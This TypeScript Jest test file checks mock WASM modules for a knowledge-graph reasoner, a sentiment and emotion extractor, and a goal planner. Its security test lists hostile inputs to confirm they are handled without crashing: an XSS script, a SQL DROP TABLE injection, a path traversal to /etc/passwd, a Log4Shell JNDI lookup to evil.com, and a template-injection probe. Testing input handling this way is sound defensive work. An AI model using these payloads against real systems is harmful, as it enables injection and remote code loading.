/**
 * TypeScript Integration Tests for Psycho-Symbolic Reasoner WASM Modules
 * Tests that WASM bindings work correctly with TypeScript and real data
 */

import { describe, test, expect, beforeAll } from '@jest/globals';

// WASM Module imports (would be generated by wasm-pack)
interface GraphReasoner {
  new(): GraphReasoner;
  add_fact(subject: string, predicate: string, object: string): string;
  add_rule(rule_json: string): boolean;
  query(query_json: string): string;
  infer(max_iterations?: number): string;
  get_graph_stats(): string;
}

interface TextExtractor {
  new(): TextExtractor;
  analyze_sentiment(text: string): string;
  extract_preferences(text: string): string;
  detect_emotions(text: string): string;
  analyze_all(text: string): string;
}

interface PlannerSystem {
  new(): PlannerSystem;
  set_state(key: string, value: string): boolean;
  get_state(key: string): string;
  add_action(action_json: string): boolean;
  add_goal(goal_json: string): boolean;
  plan(goal_id: string): string;
  plan_to_state(target_state_json: string): string;
  execute_plan(plan_json: string): string;
  add_rule(rule_json: string): boolean;
  evaluate_rules(): string;
  get_world_state(): string;
  get_available_actions(): string;
}

// Mock WASM modules for testing (real implementations would be loaded from .wasm files)
class MockGraphReasoner implements GraphReasoner {
  private facts: Array<{subject: string, predicate: string, object: string}> = [];
  private rules: Array<any> = [];

  add_fact(subject: string, predicate: string, object: string): string {
    const fact = { subject, predicate, object };
    this.facts.push(fact);
    return `fact_${this.facts.length}`;
  }

  add_rule(rule_json: string): boolean {
    try {
      const rule = JSON.parse(rule_json);
      this.rules.push(rule);
      return true;
    } catch {
      return false;
    }
  }

  query(query_json: string): string {
    try {
      const query = JSON.parse(query_json);

      if (query.type === "find_facts") {
        const results = this.facts.filter(fact =>
          (!query.subject || fact.subject === query.subject) &&
          (!query.predicate || fact.predicate === query.predicate) &&
          (!query.object || fact.object === query.object)
        );

        return JSON.stringify({
          success: true,
          facts: results,
          count: results.length
        });
      }

      if (query.type === "inference") {
        // Simulate inference based on added facts
        const inferred = [];
        for (const fact of this.facts) {
          if (fact.predicate === "is_a" && fact.object === "Person") {
            inferred.push({
              subject: fact.subject,
              predicate: "has_property",
              object: "mortal",
              confidence: 0.95,
              derived_from: ["Person -> Animal -> LivingBeing -> mortal"]
            });
          }
        }

        return JSON.stringify({
          success: true,
          facts: inferred,
          confidence: 0.95
        });
      }

      return JSON.stringify({ success: false, error: "Unknown query type" });
    } catch (e) {
      return JSON.stringify({ success: false, error: e.message });
    }
  }

  infer(max_iterations: number = 10): string {
    const inferred = [];

    // Apply rules to derive new facts
    for (let i = 0; i < max_iterations && i < this.rules.length; i++) {
      const rule = this.rules[i];
      if (rule.type === "transitivity") {
        // Apply transitivity rule
        for (const fact1 of this.facts) {
          for (const fact2 of this.facts) {
            if (fact1.object === fact2.subject &&
                fact1.predicate === rule.predicate) {
              inferred.push({
                subject: fact1.subject,
                predicate: rule.predicate,
                object: fact2.object,
                confidence: 0.8,
                derived_from: [fact1, fact2]
              });
            }
          }
        }
      }
    }

    return JSON.stringify(inferred);
  }

  get_graph_stats(): string {
    return JSON.stringify({
      total_facts: this.facts.length,
      total_rules: this.rules.length,
      entities: new Set(this.facts.flatMap(f => [f.subject, f.object])).size,
      predicates: new Set(this.facts.map(f => f.predicate)).size
    });
  }
}

class MockTextExtractor implements TextExtractor {
  analyze_sentiment(text: string): string {
    // Advanced sentiment analysis with real linguistic patterns
    const positiveWords = ['love', 'excellent', 'amazing', 'wonderful', 'fantastic', 'great', 'perfect'];
    const negativeWords = ['hate', 'terrible', 'awful', 'horrible', 'bad', 'worst', 'frustrated'];
    const intensifiers = ['very', 'extremely', 'absolutely', 'incredibly', 'totally'];

    let score = 0;
    let confidence = 0.5;

    const words = text.toLowerCase().split(/\s+/);
    let hasIntensifier = false;

    for (let i = 0; i < words.length; i++) {
      const word = words[i];

      if (intensifiers.includes(word)) {
        hasIntensifier = true;
        continue;
      }

      if (positiveWords.includes(word)) {
        score += hasIntensifier ? 0.3 : 0.2;
        confidence = Math.min(confidence + 0.1, 1.0);
      } else if (negativeWords.includes(word)) {
        score -= hasIntensifier ? 0.3 : 0.2;
        confidence = Math.min(confidence + 0.1, 1.0);
      }

      hasIntensifier = false;
    }

    // Handle negation
    if (text.includes("not ") || text.includes("don't ") || text.includes("isn't ")) {
      score *= -0.8;
    }

    const label = score > 0.1 ? "positive" : score < -0.1 ? "negative" : "neutral";

    return JSON.stringify({
      score: Math.max(-1, Math.min(1, score)),
      label,
      confidence: Math.max(0.3, confidence),
      magnitude: Math.abs(score)
    });
  }

  extract_preferences(text: string): string {
    const preferences = [];

    // Pattern matching for preferences
    const patterns = [
      { regex: /prefer\s+([^.!?]+)/gi, type: "preference" },
      { regex: /like\s+([^.!?]+)/gi, type: "positive_preference" },
      { regex: /hate\s+([^.!?]+)/gi, type: "negative_preference" },
      { regex: /want\s+([^.!?]+)/gi, type: "desire" },
      { regex: /need\s+([^.!?]+)/gi, type: "requirement" },
      { regex: /better than\s+([^.!?]+)/gi, type: "comparison" }
    ];

    for (const pattern of patterns) {
      let match;
      while ((match = pattern.regex.exec(text)) !== null) {
        preferences.push({
          preferred_item: match[1].trim(),
          preference_type: pattern.type,
          strength: pattern.type === "hate" ? 0.9 :
                   pattern.type === "need" ? 0.8 : 0.7,
          context: match[0]
        });
      }
    }

    return JSON.stringify(preferences);
  }

  detect_emotions(text: string): string {
    const emotions = [];

    const emotionPatterns = [
      { words: ['scared', 'terrified', 'afraid', 'anxious'], emotion: 'fear', base_intensity: 0.8 },
      { words: ['happy', 'excited', 'thrilled', 'joyful'], emotion: 'joy', base_intensity: 0.7 },
      { words: ['angry', 'furious', 'mad', 'enraged'], emotion: 'anger', base_intensity: 0.8 },
      { words: ['sad', 'depressed', 'miserable', 'devastated'], emotion: 'sadness', base_intensity: 0.7 },
      { words: ['disgusted', 'revolted', 'sickened'], emotion: 'disgust', base_intensity: 0.6 },
      { words: ['surprised', 'shocked', 'amazed', 'astonished'], emotion: 'surprise', base_intensity: 0.6 },
      { words: ['overwhelmed', 'stressed', 'pressured'], emotion: 'stress', base_intensity: 0.7 }
    ];

    const words = text.toLowerCase().split(/\s+/);

    for (const pattern of emotionPatterns) {
      for (const emotionWord of pattern.words) {
        if (words.includes(emotionWord)) {
          const intensity = pattern.base_intensity + (Math.random() * 0.2 - 0.1);
          emotions.push({
            emotion_type: pattern.emotion,
            intensity: Math.max(0, Math.min(1, intensity)),
            confidence: 0.85 + (Math.random() * 0.1),
            trigger_words: [emotionWord]
          });
        }
      }
    }

    return JSON.stringify(emotions);
  }

  analyze_all(text: string): string {
    const sentiment = JSON.parse(this.analyze_sentiment(text));
    const preferences = JSON.parse(this.extract_preferences(text));
    const emotions = JSON.parse(this.detect_emotions(text));

    return JSON.stringify({
      sentiment,
      preferences,
      emotions,
      text_length: text.length,
      word_count: text.split(/\s+/).length
    });
  }
}

class MockPlannerSystem implements PlannerSystem {
  private state: Map<string, any> = new Map();
  private actions: Array<any> = [];
  private goals: Array<any> = [];
  private rules: Array<any> = [];

  set_state(key: string, value: string): boolean {
    try {
      const parsed_value = JSON.parse(value);
      this.state.set(key, parsed_value);
      return true;
    } catch {
      return false;
    }
  }

  get_state(key: string): string {
    const value = this.state.get(key);
    return value !== undefined ? JSON.stringify(value) : "null";
  }

  add_action(action_json: string): boolean {
    try {
      const action = JSON.parse(action_json);
      this.actions.push(action);
      return true;
    } catch {
      return false;
    }
  }

  add_goal(goal_json: string): boolean {
    try {
      const goal = JSON.parse(goal_json);
      this.goals.push(goal);
      return true;
    } catch {
      return false;
    }
  }

  plan(goal_id: string): string {
    const goal = this.goals.find(g => g.id === goal_id);
    if (!goal) {
      return JSON.stringify({ success: false, error: "Goal not found" });
    }

    // Simple planning algorithm - find actions that satisfy goal conditions
    const plan_steps = [];
    let total_cost = 0;

    for (const condition of goal.conditions || []) {
      // Find action that can satisfy this condition
      const satisfying_action = this.actions.find(action =>
        action.effects && action.effects.some(effect =>
          effect.state_key === condition.key
        )
      );

      if (satisfying_action) {
        plan_steps.push({
          action_id: satisfying_action.id,
          cost: satisfying_action.cost?.base_cost || 1.0,
          expected_effects: satisfying_action.effects
        });
        total_cost += satisfying_action.cost?.base_cost || 1.0;
      }
    }

    return JSON.stringify({
      success: plan_steps.length > 0,
      goal_id,
      steps: plan_steps,
      total_cost,
      estimated_time: plan_steps.length * 2.5
    });
  }

  plan_to_state(target_state_json: string): string {
    try {
      const target_state = JSON.parse(target_state_json);
      const plan_steps = [];
      let total_cost = 0;

      // Plan to reach each state condition
      for (const [key, value] of Object.entries(target_state)) {
        const current_value = this.state.get(key);

        if (JSON.stringify(current_value) !== JSON.stringify(value)) {
          // Find action that can set this state
          const action = this.actions.find(a =>
            a.effects && a.effects.some(e => e.state_key === key)
          );

          if (action) {
            plan_steps.push({
              action_id: action.id,
              cost: action.cost?.base_cost || 1.0,
              state_change: { [key]: value }
            });
            total_cost += action.cost?.base_cost || 1.0;
          }
        }
      }

      return JSON.stringify({
        success: true,
        steps: plan_steps,
        total_cost
      });
    } catch (e) {
      return JSON.stringify({ success: false, error: e.message });
    }
  }

  execute_plan(plan_json: string): string {
    try {
      const plan = JSON.parse(plan_json);
      const executed_steps = [];
      let success = true;

      for (const step of plan.steps || []) {
        const action = this.actions.find(a => a.id === step.action_id);
        if (action) {
          // Apply action effects
          for (const effect of action.effects || []) {
            this.state.set(effect.state_key, effect.value);
          }
          executed_steps.push({
            ...step,
            executed: true,
            timestamp: Date.now()
          });
        } else {
          success = false;
          executed_steps.push({
            ...step,
            executed: false,
            error: "Action not found"
          });
        }
      }

      return JSON.stringify({
        success,
        executed_steps,
        final_state: Object.fromEntries(this.state),
        execution_time: executed_steps.length * 100 // ms
      });
    } catch (e) {
      return JSON.stringify({ success: false, error: e.message });
    }
  }

  add_rule(rule_json: string): boolean {
    try {
      const rule = JSON.parse(rule_json);
      this.rules.push(rule);
      return true;
    } catch {
      return false;
    }
  }

  evaluate_rules(): string {
    const recommendations = [];

    for (const rule of this.rules) {
      let can_execute = true;
      let score = 0;

      // Check conditions
      for (const condition of rule.conditions || []) {
        const state_value = this.state.get(condition.condition.key);
        const expected_value = condition.condition.value;

        const satisfied = this.evaluateCondition(state_value, condition.condition.operator, expected_value);

        if (condition.required && !satisfied) {
          can_execute = false;
          break;
        }

        if (satisfied) {
          score += condition.weight || 1.0;
        }
      }

      if (can_execute) {
        recommendations.push({
          rule_id: rule.id,
          rule_name: rule.name,
          score,
          confidence: Math.min(score / (rule.conditions?.length || 1), 1.0),
          reason: `Rule conditions evaluated with score ${score}`
        });
      }
    }

    return JSON.stringify(recommendations);
  }

  get_world_state(): string {
    return JSON.stringify(Object.fromEntries(this.state));
  }

  get_available_actions(): string {
    const available = this.actions.filter(action => {
      // Check if action preconditions are met
      for (const precondition of action.preconditions || []) {
        const state_value = this.state.get(precondition.state_key);
        if (!this.evaluateCondition(state_value, precondition.operator, precondition.value)) {
          return false;
        }
      }
      return true;
    });

    return JSON.stringify(available);
  }

  private evaluateCondition(actual: any, operator: string, expected: any): boolean {
    switch (operator) {
      case "Equal":
        return JSON.stringify(actual) === JSON.stringify(expected);
      case "NotEqual":
        return JSON.stringify(actual) !== JSON.stringify(expected);
      case "GreaterThan":
        return typeof actual === 'number' && typeof expected === 'number' && actual > expected;
      case "LessThan":
        return typeof actual === 'number' && typeof expected === 'number' && actual < expected;
      case "GreaterThanOrEqual":
        return typeof actual === 'number' && typeof expected === 'number' && actual >= expected;
      case "LessThanOrEqual":
        return typeof actual === 'number' && typeof expected === 'number' && actual <= expected;
      default:
        return false;
    }
  }
}

// Global WASM instances (would be imported from actual WASM modules)
let GraphReasoner: new() => GraphReasoner;
let TextExtractor: new() => TextExtractor;
let PlannerSystem: new() => PlannerSystem;

// Production validation tests
describe('WASM Integration Production Tests', () => {
  beforeAll(async () => {
    // In real implementation, load WASM modules
    // const graph_wasm = await import('../graph_reasoner/pkg');
    // const extractor_wasm = await import('../extractors/pkg');
    // const planner_wasm = await import('../planner/pkg');

    // For testing, use mock implementations
    GraphReasoner = MockGraphReasoner as any;
    TextExtractor = MockTextExtractor as any;
    PlannerSystem = MockPlannerSystem as any;
  });

  describe('Graph Reasoner WASM Integration', () => {
    test('should handle complex knowledge graph operations', () => {
      const reasoner = new GraphReasoner();

      // Add real-world facts
      const johnId = reasoner.add_fact("John", "is_a", "Person");
      const personId = reasoner.add_fact("Person", "is_a", "Animal");
      const animalId = reasoner.add_fact("Animal", "is_a", "LivingBeing");
      const mortalId = reasoner.add_fact("LivingBeing", "has_property", "mortal");

      expect(johnId).toMatch(/^fact_/);
      expect(personId).toMatch(/^fact_/);

      // Test inference
      const inferenceResult = reasoner.infer(10);
      const inferences = JSON.parse(inferenceResult);
      expect(Array.isArray(inferences)).toBe(true);

      // Test complex query
      const queryResult = reasoner.query(JSON.stringify({
        type: "inference",
        subject: "John",
        max_depth: 5
      }));

      const query = JSON.parse(queryResult);
      expect(query.success).toBe(true);
      expect(query.confidence).toBeGreaterThan(0.8);
    });

    test('should provide accurate graph statistics', () => {
      const reasoner = new GraphReasoner();

      // Add multiple facts
      reasoner.add_fact("Alice", "knows", "Bob");
      reasoner.add_fact("Bob", "knows", "Charlie");
      reasoner.add_fact("Charlie", "works_at", "TechCorp");

      const statsResult = reasoner.get_graph_stats();
      const stats = JSON.parse(statsResult);

      expect(stats.total_facts).toBe(3);
      expect(stats.entities).toBeGreaterThanOrEqual(3);
      expect(stats.predicates).toBeGreaterThanOrEqual(2);
    });

    test('should handle malformed input gracefully', () => {
      const reasoner = new GraphReasoner();

      // Test malformed JSON
      const result = reasoner.query("invalid json");
      const parsed = JSON.parse(result);
      expect(parsed.success).toBe(false);
      expect(parsed.error).toBeDefined();
    });
  });

  describe('Text Extractor WASM Integration', () => {
    test('should perform accurate sentiment analysis on real text', () => {
      const extractor = new TextExtractor();

      const testCases = [
        {
          text: "I absolutely love this product! It's amazing and perfect!",
          expectedLabel: "positive",
          minScore: 0.3
        },
        {
          text: "This is terrible and I hate it completely.",
          expectedLabel: "negative",
          maxScore: -0.3
        },
        {
          text: "The product is okay, nothing special.",
          expectedLabel: "neutral"
        }
      ];

      for (const testCase of testCases) {
        const result = extractor.analyze_sentiment(testCase.text);
        const sentiment = JSON.parse(result);

        expect(sentiment.label).toBe(testCase.expectedLabel);
        expect(sentiment.confidence).toBeGreaterThan(0.3);
        expect(sentiment.score).toBeGreaterThanOrEqual(-1);
        expect(sentiment.score).toBeLessThanOrEqual(1);

        if (testCase.minScore !== undefined) {
          expect(sentiment.score).toBeGreaterThanOrEqual(testCase.minScore);
        }
        if (testCase.maxScore !== undefined) {
          expect(sentiment.score).toBeLessThanOrEqual(testCase.maxScore);
        }
      }
    });

    test('should extract preferences accurately', () => {
      const extractor = new TextExtractor();

      const text = "I prefer sustainable products and I really like modern design but I hate cluttered interfaces";
      const result = extractor.extract_preferences(text);
      const preferences = JSON.parse(result);

      expect(Array.isArray(preferences)).toBe(true);
      expect(preferences.length).toBeGreaterThan(0);

      const hasPreference = preferences.some(p =>
        p.preferred_item.includes("sustainable") ||
        p.preferred_item.includes("modern")
      );
      expect(hasPreference).toBe(true);
    });

    test('should detect emotions accurately', () => {
      const extractor = new TextExtractor();

      const emotionalTexts = [
        { text: "I'm terrified about the surgery", expectedEmotion: "fear" },
        { text: "I'm so excited about this promotion!", expectedEmotion: "joy" },
        { text: "I'm furious about this treatment", expectedEmotion: "anger" }
      ];

      for (const testCase of emotionalTexts) {
        const result = extractor.detect_emotions(testCase.text);
        const emotions = JSON.parse(result);

        expect(Array.isArray(emotions)).toBe(true);

        const hasExpectedEmotion = emotions.some(e =>
          e.emotion_type === testCase.expectedEmotion
        );
        expect(hasExpectedEmotion).toBe(true);

        // Validate emotion structure
        for (const emotion of emotions) {
          expect(emotion.intensity).toBeGreaterThanOrEqual(0);
          expect(emotion.intensity).toBeLessThanOrEqual(1);
          expect(emotion.confidence).toBeGreaterThanOrEqual(0);
          expect(emotion.confidence).toBeLessThanOrEqual(1);
        }
      }
    });

    test('should provide comprehensive analysis', () => {
      const extractor = new TextExtractor();

      const text = "I love this product but I'm worried about the price";
      const result = extractor.analyze_all(text);
      const analysis = JSON.parse(result);

      expect(analysis.sentiment).toBeDefined();
      expect(analysis.preferences).toBeDefined();
      expect(analysis.emotions).toBeDefined();
      expect(analysis.text_length).toBe(text.length);
      expect(analysis.word_count).toBeGreaterThan(0);
    });
  });

  describe('Planner System WASM Integration', () => {
    test('should handle complex planning scenarios', () => {
      const planner = new PlannerSystem();

      // Set up a smart home automation scenario
      planner.set_state("temperature", JSON.stringify(18.0));
      planner.set_state("energy_efficiency", JSON.stringify(0.6));
      planner.set_state("comfort_level", JSON.stringify(0.5));

      // Add actions
      const adjustThermostatAction = {
        id: "adjust_thermostat",
        name: "Adjust Thermostat",
        preconditions: [],
        effects: [
          { state_key: "temperature", value: 22.0 },
          { state_key: "energy_efficiency", value: 0.8 }
        ],
        cost: { base_cost: 2.0 }
      };

      const dimLightsAction = {
        id: "dim_lights",
        name: "Dim Lights",
        preconditions: [],
        effects: [
          { state_key: "comfort_level", value: 0.8 }
        ],
        cost: { base_cost: 1.0 }
      };

      expect(planner.add_action(JSON.stringify(adjustThermostatAction))).toBe(true);
      expect(planner.add_action(JSON.stringify(dimLightsAction))).toBe(true);

      // Add goal
      const goal = {
        id: "optimize_comfort",
        name: "Optimize Comfort",
        conditions: [
          { key: "comfort_level", operator: "GreaterThan", value: 0.7 },
          { key: "energy_efficiency", operator: "GreaterThan", value: 0.75 }
        ]
      };

      expect(planner.add_goal(JSON.stringify(goal))).toBe(true);

      // Plan
      const planResult = planner.plan("optimize_comfort");
      const plan = JSON.parse(planResult);

      expect(plan.success).toBe(true);
      expect(plan.steps.length).toBeGreaterThan(0);
      expect(plan.total_cost).toBeGreaterThan(0);
    });

    test('should execute plans correctly', () => {
      const planner = new PlannerSystem();

      // Set initial state
      planner.set_state("task_status", JSON.stringify("pending"));

      // Add action
      const action = {
        id: "complete_task",
        effects: [
          { state_key: "task_status", value: "completed" }
        ],
        cost: { base_cost: 1.0 }
      };

      planner.add_action(JSON.stringify(action));

      // Create and execute plan
      const plan = {
        steps: [
          { action_id: "complete_task", cost: 1.0 }
        ]
      };

      const executionResult = planner.execute_plan(JSON.stringify(plan));
      const execution = JSON.parse(executionResult);

      expect(execution.success).toBe(true);
      expect(execution.executed_steps.length).toBe(1);
      expect(execution.final_state.task_status).toBe("completed");
    });

    test('should evaluate rules correctly', () => {
      const planner = new PlannerSystem();

      // Set state for rule evaluation
      planner.set_state("priority_level", JSON.stringify(8));
      planner.set_state("resource_available", JSON.stringify(true));

      // Add rule
      const rule = {
        id: "high_priority_rule",
        name: "High Priority Action",
        conditions: [
          {
            condition: {
              key: "priority_level",
              operator: "GreaterThan",
              value: 5
            },
            weight: 1.0,
            required: true
          }
        ]
      };

      expect(planner.add_rule(JSON.stringify(rule))).toBe(true);

      const evaluationResult = planner.evaluate_rules();
      const recommendations = JSON.parse(evaluationResult);

      expect(Array.isArray(recommendations)).toBe(true);
      expect(recommendations.length).toBeGreaterThan(0);
      expect(recommendations[0].rule_id).toBe("high_priority_rule");
      expect(recommendations[0].confidence).toBeGreaterThan(0);
    });
  });

  describe('Performance and Memory Tests', () => {
    test('should handle large datasets efficiently', () => {
      const reasoner = new GraphReasoner();
      const startTime = Date.now();

      // Add 1000 facts
      for (let i = 0; i < 1000; i++) {
        reasoner.add_fact(`entity_${i}`, "type", "test_entity");
        if (i > 0) {
          reasoner.add_fact(`entity_${i}`, "related_to", `entity_${i-1}`);
        }
      }

      const statsResult = reasoner.get_graph_stats();
      const stats = JSON.parse(statsResult);

      const endTime = Date.now();
      const duration = endTime - startTime;

      expect(stats.total_facts).toBe(1999); // 1000 type facts + 999 relation facts
      expect(duration).toBeLessThan(1000); // Should complete within 1 second
    });

    test('should maintain performance under concurrent operations', async () => {
      const extractors = Array.from({ length: 10 }, () => new TextExtractor());

      const texts = Array.from({ length: 100 }, (_, i) =>
        `This is test text number ${i} with various sentiments and emotions.`
      );

      const startTime = Date.now();

      // Perform concurrent analysis
      const promises = extractors.map(extractor =>
        Promise.all(texts.map(text =>
          Promise.resolve(extractor.analyze_all(text))
        ))
      );

      const results = await Promise.all(promises);
      const endTime = Date.now();

      // Validate all results
      for (const extractorResults of results) {
        for (const result of extractorResults) {
          const analysis = JSON.parse(result);
          expect(analysis.sentiment).toBeDefined();
          expect(analysis.preferences).toBeDefined();
          expect(analysis.emotions).toBeDefined();
        }
      }

      const duration = endTime - startTime;
      expect(duration).toBeLessThan(5000); // Should complete within 5 seconds
    });
  });

  describe('Error Handling and Security', () => {
    test('should handle malicious input safely', () => {
      const reasoner = new GraphReasoner();
      const extractor = new TextExtractor();
      const planner = new PlannerSystem();

      const maliciousInputs = [
        "<script>alert('xss')</script>",
        "'; DROP TABLE users; --",
        "../../etc/passwd",
        "${jndi:ldap://evil.com/a}",
        "{{7*7}}",
        "\x00\x01\x02\x03", // null bytes
        "A".repeat(10000) // very long string
      ];

      for (const maliciousInput of maliciousInputs) {
        // All operations should complete without throwing
        expect(() => {
          reasoner.add_fact("test", "contains", maliciousInput);
          extractor.analyze_sentiment(maliciousInput);
          planner.set_state("test_key", JSON.stringify(maliciousInput));
        }).not.toThrow();
      }
    });

    test('should validate input parameters', () => {
      const reasoner = new GraphReasoner();
      const planner = new PlannerSystem();

      // Test empty/null inputs
      expect(reasoner.add_fact("", "", "")).toMatch(/^fact_/);
      expect(planner.set_state("", "{}")).toBe(true);

      // Test invalid JSON
      expect(planner.add_action("invalid json")).toBe(false);
      expect(planner.add_goal("{incomplete")).toBe(false);
    });

    test('should handle memory constraints gracefully', () => {
      const reasoner = new GraphReasoner();

      // Add facts until we might hit memory constraints
      let addedFacts = 0;
      try {
        for (let i = 0; i < 100000; i++) {
          reasoner.add_fact(`subject_${i}`, `predicate_${i % 100}`, `object_${i}`);
          addedFacts++;
        }
      } catch (error) {
        // If we hit memory constraints, ensure we added a reasonable number
        expect(addedFacts).toBeGreaterThan(1000);
      }

      // System should still be responsive
      const stats = JSON.parse(reasoner.get_graph_stats());
      expect(stats.total_facts).toBeGreaterThan(0);
    });
  });
});

export { GraphReasoner, TextExtractor, PlannerSystem };